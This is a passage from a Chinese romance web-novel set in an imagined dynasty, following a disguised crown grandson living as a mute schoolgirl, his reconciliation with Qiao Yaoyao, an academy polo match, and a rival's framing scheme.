因着从先生那句先交卷的可以先走,乔杳杳第一个跨出学堂门,走时依旧怒气冲冲,看着就烦,姚淮序想都不用想,肯定是去找陈新紫了。
他最后一个离开,回到他和乔杳杳的寝屋,四下打量,今晚就要走了,苏清序的身份将被他舍弃。
他将屋内收拾一通,发现没什么要带的,独自又坐在窗前,正好对着女学生寝舍大门,接应的桃肆一催在催,他只让人等着,桃肆干脆自己买了烧饼躺在梧桐树上也不催了,安心看城北那条街上商贩来来往往叫卖,还有几个孩童嬉戏。
等着等着,等回来一个醉鬼。
乔杳杳走路打弯,直接破门而入,霸道地把屋内所有蜡烛都吹灭,只留姚淮序身旁一盏,闹脾气似的,姚淮序看不清表情。
独自站了一会儿后终于转身朝他走来,簌簌的掉眼泪,豆子大的泪珠砸在地上,砸在姚淮序
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的心里,犹如千斤重的陨石,直直砸出坑来。
无声胜有声。
她的眼睛蒙上一层雾,泪眼婆娑,姚淮序喉结下意识滚动,紧捏衣角,嗓子发干。
“要脸吗?”
乔杳杳声音哽咽,姚淮序双唇抿在一起。
乔杳杳被说娇气不是没有缘由的,譬如此刻,她红驼着双颊,小声啜泣,凑近姚淮序将双臂挂在他脖子上,整个人埋在他怀里。
说话断断续续,
“你不要脸。”
姚淮序的手举至半空,乔杳杳又抱紧几分,湿热滚烫的泪珠子浸透姚淮序的衣衫,留下水痕,灼烧滚烫。
他仰头却不曾避开,喉结随着乔杳杳的动作上下滑动,空中的手挣扎一番落在少女的后背,一下又一下轻拍着。
姚淮序此刻不得不承认一个事实,那就是乔元娘的眼泪是这个世界上最锋利的东西,能将他的心拉出一道口子,怎么缝也缝不上,血流不止。
“你恨乔家?”
她带着水幕仰头,眼睑湿润,朦胧不清。
姚淮序垂眸将她的泪轻轻擦掉,一下又一下轻拍,安抚不安的姑娘。
“你摇头或者点头。”
他摇头,他没想过害乔家。
乔杳杳整个人挂在姚淮序身上,就像八爪鱼,缠得牢实。
“你没良心!”
“你什么都不说!”
“我说了我帮你,你为什么不信我?!你还帮方清清,你不知道她和我不合吗?”
方清清弄坏了乔杳杳最爱的砚台子,乔杳杳直接摔了她的青竹脆笔,梁子第一天就结下了。
一旦开了闸乔杳杳就忍不住了,委屈扑面而来,倾盆而下,不管不顾劈头盖脸全砸给姚淮序。嚎到后面声音越来越大,姚淮序怕别人听到没法只能捂住乔元娘的嘴巴。
姑娘不干,双手扯拉他的胳膊,姚淮序笑着将人按在怀里,跟醉鬼是讲不通道理的,直接哄就好了。
一下又一下,耐心十足。
乔杳杳再仰头时眼角通红双眼却是清明,哪里还有醉意,声音清冷,夹杂淡淡鼻音。
“还不说吗?姐姐?”
姚淮序从心疼变成惊诧,最后认命般将手捏在乔杳杳脖颈的软肉不轻不重的揉弄,脸上笑意染上几分无奈,指腹抹去留存的温热泪珠。
乔杳杳得逞,露出狡猾笑容,哭过的嗓音有些沙哑,“写给我看吧,姐姐。”
无由来的信任,相信他有难言之隐。
可一个谎言背后往往又是无数个谎言。
姚淮序牵着乔杳杳的手重新点亮书桌的蜡烛,拿镇纸将宣纸捋平,蘸上墨汁,缓缓写道,“嘉德三十八年,盛州有人与锦州官员私通,被……”
顿笔稍停后继续道,“被我父亲发现,欲查未果,时至灭门前三日偶得一信,寥寥言盛州乔沈四字。”
“所以你怀疑乔家,一开始你就打了主意怀着目的接近我?”乔杳杳平静地说出自己被算计这事。
“不是。”
“那你点头同意去吴管事院子呢?”
“是。”
“你觉得山庄灭门是乔家做的吗?”
“不是。”
这个姚淮序虽然没查到但他打心底里清楚乔家不论谁都不会做这样的事情。
乔杳杳微不可察地松了一口气,手撑在书案砚台旁,另一只手搭在椅背,从那人背后去看,只觉得姐姐脊背笔直。
是不是算计,只要她心甘情愿便不是。
24. 元娘真是厚脸皮啊~
“那你去书房想查什么?”嗓子还有些哑。
姚淮序想了想,居中找到一个答案,“字迹。”
只要看了字迹便知那封信到底是不是乔万屹写给皇叔的,也正好应对山庄收到的那封信。
书房一开始就是假的,他知道乔万屹不可能毫无防备,但他没想到乔杳杳在不知情的情况下也能和乔万屹配合得天衣无缝,让他自投罗网。
姚淮序明白为什么乔家世代功勋不少却不封侯,如果他是帝王也会忌惮这样的一个功勋世家。
乔家在边疆百年,除却功绩还有乔家世代养出来的聪明儿女,合该鼎盛至今。今晚的这番话不知道乔杳杳相信几分,但乔杳杳肯定会告诉乔万屹,乔万屹至多信三分,可这也够了。
他一定会查嘉德三十八年战事四起时谁向锦州传了信,更何况这又不是空缺来风。
乔杳杳喝酒是真,未醉也是真,顶着泛红的双颊靠在书案边卸了力气,一字一句剖白心迹,
“姐姐,咱俩也算是生死之交,我知道你另有目的,但,你总归有几分真心待我的吧。”
姚淮序呼吸放轻放缓,说不上来话,小心翼翼伸手去拉乔杳杳的手,可怜巴巴。
乔杳杳没拒绝,“这几分真心够不够抵?”
抵什么她没说清,姚淮序却知道。
够不够抵他的一份信任。
这次真是让姑娘伤了心,姚淮序不敢想若是有朝一日发现他的身份到那时又该如何。乔杳杳待人赤诚,这两月相处姚淮序能感觉出来她的一腔热忱。若是不真心相待,她怎么会给他买紫玉?
姚淮序牵着乔杳杳的手从自己衣领中将红绳拽出,红绳上挂着紫玉吊坠,他将它捡了回去。
乔杳杳的手指在上面来回摩挲,喃喃道,“扔掉之后我就心疼了,早知道拿去当铺还能卖个一千两。”
姚淮序蓦地将玉抽回重新贴身佩戴,乔杳杳一笑,“跟你开玩笑呢。”
泪珠子又在眼眶打转,“姐姐,我真是被你感动死了,你还有别的事情瞒我吗?”
姚淮序心想,苏清序没有了,应该就是没有了吧,他姚淮序可不是姐姐。
下巴微抬,迟疑点头。
乔杳杳笑靥如花。
这是春日里最灿烂的一支花了。
乔杳杳耍懒坐在床上,软糯糯地喊姚淮序能不能给她擦脸,她说她今晚喝了酒,絮絮叨叨开始讲陈新紫和乔青松。
两人算是和好了,姚淮序心里轻松,眼角染笑拿帕子仔仔细细给她擦脸,接着是双手,从指根到指缝,力道正好的揉着,耐心十足听她讲他不知道的事情。
“今天本来是我和紫娘去醉仙楼尝新上的佳酿。”
姚淮序手上用力掀起眼皮看她,乔杳杳的脚去踢姚淮序的膝盖,两人是一个坐着一个蹲着,她往后仰身抽回手笑着承诺,“下次带姐姐去。”
姚淮序将帕子放在水盆里搓捻。
“我们没喝多少,我二哥就来了,真是狗鼻子啊~明明他自己也馋酒偏偏还讲我俩数落一顿,让七哥送我回来,自己去送紫娘。”
她拖鞋翻身趴在床上侧身单手撑下巴,“我觉得二哥好像喜欢紫娘,一晚上眼睛都黏在紫娘身上,平日里看着人模狗样遇上紫娘简直就是……”
姚淮序挂起帕子回头看她,手指沾水弹她,仿佛在问是什么?
乔杳杳滚到床里侧,自己笑了一会儿才说,“像癞皮狗。”
姚淮序无奈地笑,端起水盆出门倒水,路过院子里的梧桐树时仰头和桃肆对视,无声道,“不走了。”
桃肆早就看得目瞪口呆,傻愣愣点头,姚淮序就笑,真情实意的笑。姚淮序这个人其实很骄傲,从小金玉堆儿里出来的皇太孙一直被捧在手上,还没见过谁能让他弯腰亲手给人擦脸。
姚淮序却不在乎,背后摆摆手让桃肆早点走。
放了水盆他轻手轻脚凑近看乔杳杳,姑娘早就支不住合了双眼,很轻微的悉悉索索声音把她勾醒,朦胧着双眼往里侧挤了挤,嘟囔道,“姐姐,我想跟你睡。”
姚淮序从容躺下还不忘给她盖被。
她和他面对面,手搭在对方腰上,眼皮子已经抬不起来,嘴却还说个不停,
“姐姐,你不脱衣服吗?我觉得姐姐你跟我阿姐和紫娘抱起来不太一样,而且你好像又……”
姑娘进入梦乡,姚淮序面朝屋顶,抬手遮住双眼,应该是又长高了,他藏不住笑意。这是住到书院这么多天来他最喜欢的一个晚上。
两人早上同进同出,凡是学堂同窗都知道俩人和好了,费承风摇着扇子提着一包玫瑰酥饼送到乔杳杳的学堂,身后跟着乔青松和陈新紫。
乔青松双手抱胸靠着陈新紫,摇头晃脑地不知道在说什么,陈新紫蔫巴着,陈俊卓想插在两人中间却被乔青松一揽脖子揽到旁边,他拿手肘击乔青松的胸膛,乔青松偏头说了几句话像是两人达成什么协议,陈俊卓消停下来。
“元娘,别学了。”费承风把玫瑰酥饼放在乔杳杳书桌上自然而然坐在一旁,靠着乔杳杳。
姚淮序手里的书啪一声扔在桌子上,乔杳杳疑惑偏头看他,他露出乖巧笑容,对上费承风眼神时又瞬间冷漠。
陈俊卓笑着和乔杳杳前桌打招呼随后坐在她对面,不见外地直接拆开酥饼,嘴上道“你哪只眼睛见她学了?”
陈新紫朝姚淮序点头致意坐在自己哥哥旁边,乔青松站在乔杳杳背后调侃,“紫娘,我坐哪里?”
乔杳杳满头黑线,没脸瞧自己哥哥,直接伸手拍他小腿肚子,“爱坐哪坐哪,别一副雄孔雀开屏的不值钱模样。”
陈新紫一脸赞同,在胸前给乔杳杳竖拇指,费承风挑眉,看自己好兄弟的笑话。
“就买了八块,这怎么分?”
陈俊卓心里只有玫瑰酥饼,“在场的六个人,还多一个。”
乔杳杳说,“多两个,你别吃。”
结果陈俊卓更快率先吃进嘴里,“元娘,这就不公平了。”
陈新紫没眼看,真是,谁还没个厚脸皮哥哥呢?乔杳杳拿自己手帕递给姚淮序示意他也拿一个。
费承风将扇子撑开,眉眼弯弯,带着若有若无的笑,神色矜贵声音温润有礼道,“我不吃,我那
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份给苏小姐。”
姚淮序斜眼睨他,你有病?
乔杳杳挑眉和他挤眉弄眼,真的吗?!一脸激动。
乔青松最后坐在费承风和乔杳杳中间,做口型,“没事了?”
乔杳杳回他,“嗯,没大事。”
乔青松恢复散漫,道,“陈俊卓,你要不要脸,给紫娘留点。”他伸手把玫瑰酥往陈新紫面前推了推,乔杳杳抬胳膊碰乔青松,今儿怎么回事?这么殷勤,之前也不这样啊?
乔青松拿手挠两下眼边泪痣,小声道陈新紫明天去见相看人家。
乔杳杳更多揶揄在里面,吃着玫瑰酥饼心里乐开花,完全是看好戏的心态。
姚淮序本以为乔青松会让大家防着他点,或者是费承风,但六个人围坐一起其乐融融,他也放松下来,眉目舒朗,整个人显出几分懒洋洋。
玫瑰酥饼比锦州皇宫里的还好吃。
“元娘,官府送来帖子问你还要不要做今年祭祀的神女。你跟我去拿一趟。”
乔杳杳笑嘻嘻抢过姚淮序正在擦手的帕子,他顿了顿,嘴角勾起一摸浅笑,目睹全过程的陈新紫艰难吞下最后一口玫瑰酥。
随后他目光询问乔杳杳什么是神女,费承风解释道,“北郡每年都要举办一次祭祀,目的是为了祈求当年秋收时稻谷丰硕。每年祭祀都需要一个神女,坐着游车绕城一周,因着是六月夏季花儿多,游车都用花装饰,又叫做花车。
神女人选也是有要求的,体力要好,还要活泼机灵,到时候神女还会在全郡人里面挑一个送出自己手里的仙花,得到仙花的人一直到来年都会顺顺利利,这是十分吉祥的象征。”
乔杳杳插嘴,“明明是全北郡最漂亮、最出色的才能做神女!”
姚淮序心想,最漂亮、最出色的小姐,乔元娘吗?是了,一定是她。他下意识嘴角噙笑,眼里盛满期待。
耳边好像谁在擂鼓“怦怦怦”的,他只要一想到是她,就控制不住,满心欢喜。
陈新紫揶揄,“元娘真是厚脸皮啊~”
乔杳杳毫不避讳地承认,“我本来就是全北郡最漂亮出色的女娘,不是吗姐姐?”不避讳拉他,“姐姐想看吗?”
少女目光炙热,他顺着点了头,
乔杳杳笑道,“行,我今年还要做神女!”
她蹦蹦跳跳跟在乔青松身后去拿拜帖。
“苏小姐可要当个仙女?神女旁边要站八个仙女,紫娘也在。”
费承风好心问道,姚淮序冷笑将帕子轻丢在桌子上,浑身矜贵气息扑面而来。费承风看他这副模样乐不可支,别有深意地敲敲下巴。随后拍拍衣摆拿扇子轻敲书案起身,姚淮序重新拿出一条帕子将那条包好放在身上,之后也出了学堂。
陈俊卓手里是最后一块酥饼,陈新紫推推自家哥哥,“都走了……”
“嗯,这样就没人和我抢了。”
陈新紫翻白眼,一瞥方清清马上进学堂,她连忙拍手起身,“哥,我走了昂!”
“???”
陈俊卓歪身看到方清清如临大敌也慌忙起身,“我也走我也走!”
25. 哪有让的道理?我让给你你要吗?
乔青松扶乔杳杳上马车,拿出拜帖,“弄清楚了?”
马车上有温茶,乔杳杳给自己斟上,“差不多吧。”她隐去个别细节讲清楚其中缘由。
乔青松声音沉稳,“你信吗?”
乔杳杳露出若有若无的笑,意味不明,“信吧。”
“搬回去?”
“再说。”
乔青松眉尾轻挑,“元娘?”
“是故人。”
乔青松不再问,各人有各人曲折与隐晦。
与此同时姚淮序独自站在书院小花园的走廊尽头,手里拿着沉甸甸的几封信,神色不明。
书院每年都要举办马球赛,姚淮序不参加,但乔杳杳上场。
打马球就是双方人马互相把球击进对方的洞里,看哪队得分最多哪队胜利。马球赛有男有女,是混赛,通常四人一队,三人击球一人守洞。
乔青松身穿湛蓝色衣袍高束马尾,缠紧袖口,牵马立于队前,是匹黑马,高大有力,马鬓打理得顺滑油亮。
右后方是费承风,姚淮序忽略不看。左后方是乔杳杳,一袭姜黄色骑装,同样高吊马尾,她的是一匹枣红色马,一看便知被精心养护,主人爱惜,马如主人般高傲矜贵,当其他马儿低着头放松时只有它高昂着头颅展示自己一身漂亮毛发。
许是乔杳杳也发现了这点,正和费承风说话,说着说着就笑了,露出两颗尖牙,阳光打在少女鼻梁上,明媚耀眼。
姚淮序站在一旁,树影斑驳透映在他月白腰封上,点点荫绿点缀出另一番的滋味,在费承风凑到乔杳杳身旁说话的时候他已经把嘴角下垂,平平无奇抿出一个紧绷姿态,忽而“渍”了一声,似笑非笑,眼睛直勾勾看着场上的乔杳杳。
“苏姐姐?原来你在这处。”
来人正是方清清,说话温声细语、娇娇柔柔的。
姚淮序敛笑点头以做回应,江清清娇笑道,“苏姐姐怎么不去廊下看,树下怪热的。”
说着她拿帕子轻轻擦汗,姚淮序顺着她的动作看见乔杳杳在场上被太阳直晒着,脸蛋微微泛粉,不知道哪里掏出来的手帕子被她拿在手上扇来扇去,娇憨可爱。
“马球赛开始了!”
不知谁喊的一声,后面紧跟着一声金锣响,比赛正式开场。
乔青松骑着马与对方领头相对峙,手握球杖去击被抛至空中马球,眼看着就要触上迎面一杆球杖打来,乔青松的球杖和他的球杖相别,互相抵力。
“天成,说话怎么不算话?”
乔青松笑,“马球赛本就是各凭本事,你若是叫紫娘知道回去少不了打。”
“诶,我说你这人,贼喊捉贼!”陈俊卓愤愤不平道,“来回算不清楚个账,对你大舅兄这么凶以后可就不好上门喽!”
乔青松掀眼皮看他,似笑非笑,“若真让了你怕是日后见紫娘都难!”
不知谁把球击起眼看又要落地,乔青松轻踢马腹,对方的马儿被乔青松的马哈退两下又往前,可就这么两下的功夫也足够了。他顺势右手卸力换左手接住球杖一击,马球向对方球洞的方向飞袭。
费承风眼疾手快驾马去追,对方一队反应也极快,按照之前布置好的战略一人去拦费承风,不料从中间闯出一匹红马。
乔杳杳发带飞扬,看准时机奋力一挥,马球受力飞向右前方,费承风驾马紧追又补上一杖,马球成功飞进对方球洞。
锣鼓声响,人群欢呼。
今日第一分,乔青松队得。
三人驱马回到自己队的洞旁把球杖互相轻轻一碰,简单又有默契的胜利动作,又引得一阵热闹。陈俊卓牵马凑到自家妹妹身旁,陈新紫和他相识默契不管身后那人,自顾自说起小话。
陈俊卓虽然爱扯皮,但遇上事情也是真可靠,现下就在和陈新紫商量对策,末了又叫那人过来听。
“看来今年又是他们队赢~”
“要我说就没什么悬念,乔家兄妹和费老七三个击球手都是书院里一等一得强,那守门的石颉也是个守门的好手,去年陈家兄妹不也输给他们了吗?”
“我看不一定。”
“为什么?”
那人神神秘秘笑道,“敢不敢赌,今日是陈公子这队赢。”
“我不信。”
他用肩膀顶旁边人,而后道,“你看昂,陈公子那队是不是有个面生的?”
“那不是方郡监家的公子吗?”
“诶!这就对了!方公子可是盛京来的,盛京的球技不比北郡强?”
又有一人道,“那可未必,盛京可不打仗御敌,这等拼体力战略的游戏北郡未必会输,再说了,那三人什么水平你又不是不知道,别看那中间的乔杳杳是个女娘子,打起马球来诡计多端狡诈,对面的陈小姐可防不住她!”
“不可能!陈小姐也很厉害!”
“我觉得就是陈兄赢!”
“肯定是乔兄!”
几个人闹闹嚷嚷最后开了小赌局,压庄看到底哪个赢。消息传到江清清耳朵里的时候场上已经是四比六,乔青松一队四,陈俊卓一队六。
“苏姐姐压谁?”
苏清序面无表情地侧头看看她,这人刚就莫名其妙过来说热,然后顺理成章坐在了这里,他不言语,将视线收回专注于场上的比赛。
“我觉得,是陈公子这一队赢。”
姚淮序心想,你觉得你觉得吧,关我什么事?乔杳杳不在他连装都懒得装,关他什么事?
方清清知道苏清序是个哑巴,被无视也不恼火,只是扬唇笑道,“希望苏姐姐一会儿也能这么淡然。”
姚淮序蹙眉,随即舒展抛之脑后,跟他有什么关系?
场上的马球现在落在陈俊卓的杖下,他用力一挥直直冲向洞门,千钧一发之际乔青松抬杖挑起马球使其在空中停顿,乔杳杳看准时机踩着马背一跃扬杖打出一个漂亮的圆弧球,马球与她同时稳稳着落。费承风的马与江清羽齐头并进朝马球飞奔,方清羽的马更快些,可费承风单手抱着马脖子另一只手更快击飞球,不远处乔青松成功接到并一杖直接入洞。
酣畅淋漓,场上比分六比六平。
此局胶着,刚
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刚下赌注的几个书院同窗又争吵人人都觉得自己能赢,仿佛他们也亲身上场,与他们并肩作战。
漏斗中的沙砾须臾就将漏完,下方的沙砾堆砌起三角状的丘陵,临近比赛结束就剩最后关键一球。
若进,则输赢立见分晓;若不进,则进入加时赛,牵动人心。
乔杳杳俯身牵着缰绳策马驰骋在马球场上,时不时弯腰拿马杖去击打马球,旁边是陈俊卓的妹妹陈新紫,陈新紫跑起马来也是一把好手,弹跳换边样样精通,性子大方爽朗,丝毫不怯。
“乔元娘,年年都你赢,怎么着今年也该是我了吧!”
乔杳杳舒朗笑道,“紫娘,这魁首可是赢来的,哪里有让的道理?我让给你你要吗?”
陈新紫扬唇一笑,手上使巧拿马杖将球从乔杳杳的杖下拨走,“我可不要你让来的,想要就自己来拿!”
乔杳杳习惯她这个做派,勒马掉头去追,费承风骑马前去拦截,可还有陈俊卓盯着他。
“陈兄,不如趁早放弃!”
陈俊卓笑,“费老七,你怕了吗?”
费承风嗤笑一声策马扬鞭奋力往前追,声音至前传到后面,“我可不会输给偷吃两块玫瑰酥的大馋虫。”
“这话说的,太见外了吧。”
两人互相追逐,陈新紫和乔杳杳也不相上下,眼看马球离乔杳杳这队的洞越来越近,沙漏所剩无几。
陈新紫用力挥出一杖,马球腾空飞起,球上的针脚在阳光下清晰可数,就当众人以为魁首花落陈家时,乔青松的球杖从一旁直直伸出竟是将球打向对面。
乔杳杳反应极快,人在中场就力朝着洞门补上一击,这个位置巧妙的很,能不能进全靠赌。
所有人的眼睛直直盯着球,看它滑过完美弧线径直落进洞门,最后一粒沙砾掉下,静寂的人群瞬间沸腾。
乔青松转头去找陈新紫的声音,看对方没有半分恼意还对他笑,双颊因为来回跑马泛上红晕,乐呵呵笑着,酣畅淋漓,没有懊恼。
费承风和陈俊卓互相碰拳,陈俊卓让他请客去醉仙楼吃饭。
姚淮序盯着场上那个姜黄色身影,心脏狂跳,嘴角情不自禁上扬。他看见她回头,准确无误找到他的位置与他对视,随后举起球杖将其背立于身后,也扬起一抹笑。
明明没开口,姚淮序却好像听见她说,“姐姐,我厉害吧!”
他不禁想,若是哪天这只野鸟让养在笼子里做了金丝雀不得憋死?郁郁而终?
攸地腿上一湿,耳边方清清猛然叫道,“啊!对不起苏姐姐,我不是故意的。”说完她就倾身那帕子上手给他擦,姚淮序反应极快,直接站起推开了她,方清清摔在地上。
她面露无辜,“苏姐姐…你这是……做什么?”
旁边跟随方清清的女同窗立马上前扶人,话里话外隐隐指责,“苏小姐,你这是做什么?清清不过是好意给你擦,你怎么能推人?呀!清清,你手受伤了!”
方清清抽回手掌,无奈笑笑,“没事,都是我的错,不小心将水洒在了苏姐姐身上。”
26. 姚淮序确信以及肯定,她喜欢我
“这是在热闹什么?”有同窗凑过来问,一眼便看到苏清序衣服上的水渍,不大,在月白色的裙摆上也不明显,要不是有三两叶茶叶也瞧不出来。
姚淮序被被包围在人群中,看着方清清自顾自地表演,无辜不解掺杂着忍耐委屈,时不时还偷斜视她两眼朝他露出挑衅的笑容,可惜这些小动作做的隐蔽别人都没看见,真是给他气笑了。
盛州的朝廷派来的郡监嫡女是这么个玩意儿?盛京贵女就这么个玩意儿?跟乔元娘比,简直是差远了。
被姚淮序念叨的主人公正挎着陈新紫说小话,“紫娘,怎么样?服气吗?我哥哥厉害吧!”
陈紫娘敷衍点点头,“是是是,真不巧又让你赢了,你可真厉害!乔青松真厉害!”
“欸,我说你这人,一副虚假做派!本来还说今年的魁首彩头送你呢!”说着乔杳杳就拿肘去撞她,
陈新紫没忍住,笑道,“可别可别,从先生自编的《学堂二三事》我可不想要,大小姐还是自己留着吧。”
乔杳杳小嘴一撅,“紫娘,这么不给从先生面子啊!小心我就告诉他~对了,江清羽怎么和你们一队?你可别说你和陈二都不知道他是谁。”
说起来这个陈新紫就烦,摆手道,“别提了,那人一开始让我哥哥拒了,结果就让他妹妹天天上门拜访磨我耳根子,动不动就一副委屈样,不知道的还以为是我欺负了人,躲都躲不及!”
“早知道就邀请苏小姐来了。”
乔杳杳一听就乐,“一队只有一个,你该邀请邀请我哥”她挑眉,“怎么,你不喜欢娇滴滴的小姐吗?娇滴滴柔柔弱弱看了多想让人保护啊!我要是……”她的马尾随着脑袋晃动的荡漾起来。
话没说完一抬眼费承风朝她招手,陈新紫小声嘟囔道,“活阎王谁敢邀请他?”乔杳杳就乐。
两人走进了才低声和她们道,“比赛前有人对我的马做手脚,让我们发现及时换掉了,元娘去盯着看好方清羽,一会儿小花园碰面。”
乔杳杳了然随即漫不经心打量马场,陈新紫问道,“为什么看好……”
她话没说完就让乔青松一把捂住嘴,陈新紫不可置信后退两步,抬手摸摸自己嘴唇又抖着指向他,刚想破口大骂质问就见乔青松手指竖在唇边,“小心有心之人。”
陈新紫拿袖子又擦嘴唇,十分嫌弃,有种哑巴吃黄连有苦说不出的感觉,拿眼睛斜乔青松,乔青松就笑,他眼尾的痣仿佛一晃一晃地也在笑。
乔杳杳没注意到两人举动,匆匆道,“我找苏姐姐一趟。”
“我也去!”
“我还有事情需要拜托紫娘。”乔青松拉人衣袖扬长而去,陈新紫推他偏偏这个是厚脸皮的不松手,越走越远。
费承风拿扇子抵头暗叹自己兄弟真是好手段,随后顺着乔杳杳这话也看向姚淮序的方向。
乌泱泱围了一群人。
乔杳杳策马到人群旁边,有人认出她纷纷给她让路。翻身下马,她笑着站在姚淮序身边,一直无所谓的姚淮序下意识腰杆挺直。
她靠在姚淮序胳膊旁,个子才到他的肩膀,一歪头马尾扫在他背上,隔着衣服姚淮序觉得自己腰窝好像也让扫了一下,极痒。
“怎么了是,围一圈儿人欺负我姐姐啊?不合适吧。”
姚淮序眉尾上挑,刚才的阴霾一扫而光。
方清清身边的同窗道,“乔小姐误会了。”
“误会?我姐姐裙衫湿了那么大一块儿,误会谁了?你?你?还是你呀?”她举着马鞭朝围着一圈的人挨个指点。
有人和事道,“都是小事,小事,大家伙散了吧,没什么好看的。苏小姐也没什么事,就都别围着了。”
乔杳杳笑着看那人,“怎么没什么事了?要不我也烫你一下试试?”她变了脸色,看向方清清道,“谁干的自己站出来,别叫我挨个查。”
“乔小姐,你这话就太霸道了些吧!”
“就是啊!不能因为你父亲是乔将军就行事乖张没有道理啊!又不是那人做的你烫他做什么?”
平日里嫉妒的、眼红的一个两个都冒出来,添上两句。仿佛为了印证这人说的仗势欺人一词,方清清簌簌掉下几颗泪,好似娇柔无所攀倚的弱枝娇花,她拿帕子去擦眼泪,欲语还休,整张小脸泫然若泣,泪眼汪汪,惹得周围一片心疼,道,
“我不是故意的的,一不小心就洒在苏姐姐身上,我拿帕子给她擦,但是她……她不让……”
“你又是哪位?我姐姐哪有那么多妹妹?方小姐,这事儿本来就是你做错了你不该道歉吗?”
“但是她还推了清清啊!”身边同窗打抱不平,用手一下一下安抚啪嗒啪嗒掉眼泪的方清清。
乔杳杳半个眼神都没分给说话的人,收敛了玩笑语气直起身道,“我姐姐不会无缘无故推人,方小姐做什么才让我姐姐恼了不得已才推她。这时候你应该问方小姐做了什么而不是指责我姐姐,她被烫伤她都没哭方小姐又是哭什么?!”
“乔小姐你这话过分了吧!”
“诶呀诶呀,我瞧着也没事,大家各退一步和和气气的不好吗?”
“算了吧算了吧。”
姚淮序低头看乔杳杳,想看她是什么反应。
乔杳杳声音坚定,极有主意丝毫不退让,尽管旁边周围的人都这么说她也护在姚淮序身前,“算了?凭什么算了?方清清道歉了吗?就算了?”
方清清立马小声道,“乔小姐,对不起,你别生气,都是清清不好。”
哽咽哭腔着声音又是个美人,引得周围一片怜爱,纷纷附和道,
“人也道歉了,就算了呗!”
“差不多了,散了吧都!”
乔杳杳还欲开口姚淮序一把抓住她的胳膊,对她摇摇头,乔杳杳转身看清楚在场的所有人,冷笑一声,拉着姚淮序去找厢房换衣裳。
姚淮序被牵着勾唇心道,乔元娘果然是喜欢自己,不然也没见她拉别人的手。
“怎么了这是?”费承风姗姗来迟,手里拿着扇子一下一下敲打另一只手的手心,看清楚姚淮序的衣裳洇湿一块又问,“怎么湿了?”
乔杳杳看到费承风猛然想起哥哥叫她盯着方清羽,松开姚淮序的手而后把费承风拽到一旁道,
“方清清把茶水
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洒在姐姐身上了,我要带她换衣服但是我没看见方清羽。”
费承风笑着拿扇子敲她头,道,“承风要是等你的信儿早就急死了,陈二盯着呢。”
“行,把方清清也叫过去吧,不过你在这里做什么?”
“路过,拿东西。”他扭头看姚淮序,姚淮序不避讳和他对视,面色不虞,费承风心里咯噔一下,心道,还是等会儿再来找皇太孙吧。
“咳咳,那个,你让苏小姐自己换衣裳就行了,千万别帮忙,一会儿小花园见,我先走了。”
乔杳杳觉得他莫名其妙,后见费承风又对她眨眼会心一笑,乔杳杳心想,估计哥哥的事情办的差不多了。
说起来,哥哥喜欢紫娘,但是紫娘好像没这意思。想到这里她下意识偷看苏清序两眼,之前还给姐姐夸她哥哥,现在觉得不免有些囧然。
对了!苏清序该不会和七哥有点什么吧?前两日七哥还让自己的玫瑰酥饼给姐姐吃,还经常能看到一人挤眉弄眼、一人深情注视。要不撮合撮合?有了苗头头乔杳杳就忍不住再多想一点。
费承风来乔杳杳就撒手,姚淮序脸黑的如同锅底。
乔杳杳送走费承风一转身看见苏清序黑着脸,一脸严肃眉头堆在一起就觉得好笑,一时没忍住倒在他身上笑得浑身抖。
姚淮序浑身一僵,下意识伸手去扶她未触及又避开,不自觉被笑声感染,眉头舒展开。
姚淮序不知道两个关系好的女孩子可以拉手,可以贴在一起,反正两个男人不这么干,最关键是她给他撑腰,一想起来心里就一跳一跳的,从来没有过的感觉,情不自禁把手放在胸口,害怕它下一瞬自己跳出来。
他确信以及肯定,乔元娘喜欢死自己了,哪怕他是个女子。
换衣裳的时候乔杳杳压根不记得费承风的叮嘱,下意识跟进去,姚淮序将她拦在门外。
“我也要换。”
对方却拉她袖口把人送到隔壁。乔杳杳只当她害羞,因为那人脸上还红晕着两块。
换完她就乖乖坐在台阶上等人,忍不住搭腔,“姐姐,我觉得你最近温柔很多。”
姚淮序收拾妥帖之后轻轻推门,少女也换了衣服,坐在台阶下头发梳成简单两个小揪,摇头晃脑很是可爱,忽而他起了给她梳头的念头。
听见动静乔杳杳回头,欣喜道,“姐姐你穿这身衣服好漂亮!”
蹦蹦跳跳绕着看了一圈,青色裙衫祥云文锦。她拿手比自己的个子,只到他的下巴,“唔,又长高。”
姚淮序避开两步不自在摸鼻子。
“姐姐,我带你去找场子。”
姚淮序偏头。
她笑,“这账可不是这么算的。”
两人并行到小花园的时候已经有人在里面了,乔青松和陈新紫坐在石凳上,方家姐弟也在,不过是立在对面,四周还有几个仆从拿棍子压着几个方家奴仆。
都认识也不用介绍,乔杳杳让姚淮序坐在陈新紫旁边,自己坐在他旁边,乔青松旁边坐了费承风,正好将石凳坐满。
石桌子上还摆了茶水,乔杳杳随手提起给自己和另外两位姑娘倒上。
27. 挑拨离间?就你?
“乔青松!你们好大的胆子!书院就在附近,你们不怕先生一会儿过来抓住你们欺负人吗?!”
“这就是北郡的道理吗?”
方清羽年岁小沉不住气,易怒,情绪暴躁,什么都写在脸上,若不是如此会让人抓住现行?乔杳杳举到嘴边的茶转手泼在他脚旁。
“你疯了吗!”
方清清一把摁住方清羽耐着脾气问道,“乔小姐这是什么意思?”
乔杳杳甩甩杯子,“方清清,你装什么?”她仰头和她对视,不避不躲,坦坦荡荡。“你污蔑我姐姐的事情还没跟你算清楚。”
“什么意思?不是已经说了是误会了吗?”
明明是笑着可乔杳杳眼中却并无半分笑意,“你算计她不会说话,自己泼自己还要嫁祸给她,让她在众目睽睽之下接受指责,你以为我不知道吗?!”
陈新紫不知道还有这么一回事,扭头看苏清序,谁知她竟然好像还有些……得意?浑身散漫,不经意间露出独属于自己的傲气。
那一桌里,只能让人注意到他。
“你随便推人出来顶锅就了了这事,这账可不是这么算的。”
“我没有,都说了只是一场误会!”方清清拿准她们没证据,死咬住不松口。
乔杳杳也不在意,她确实是没证据,那又如何?她直接拿了一杯茶泼在方清清脸上,为了防止她身上的水溅到自己身上还立刻躲远了些。
姚淮序略微一惊,没想到乔杳杳这么做,但好像因为是乔杳杳,这么做又符合她的行事作风,她已经将骑马装换下,藕粉色的衣裙与她的所作所为形成鲜明对比,娇纵蛮横,像被养坏了的小姐。
可她才不是什么被养坏的小姐!
乔青松在背后轻咳一声示意她收敛些。乔杳杳转身眉眼弯弯,放下茶杯。
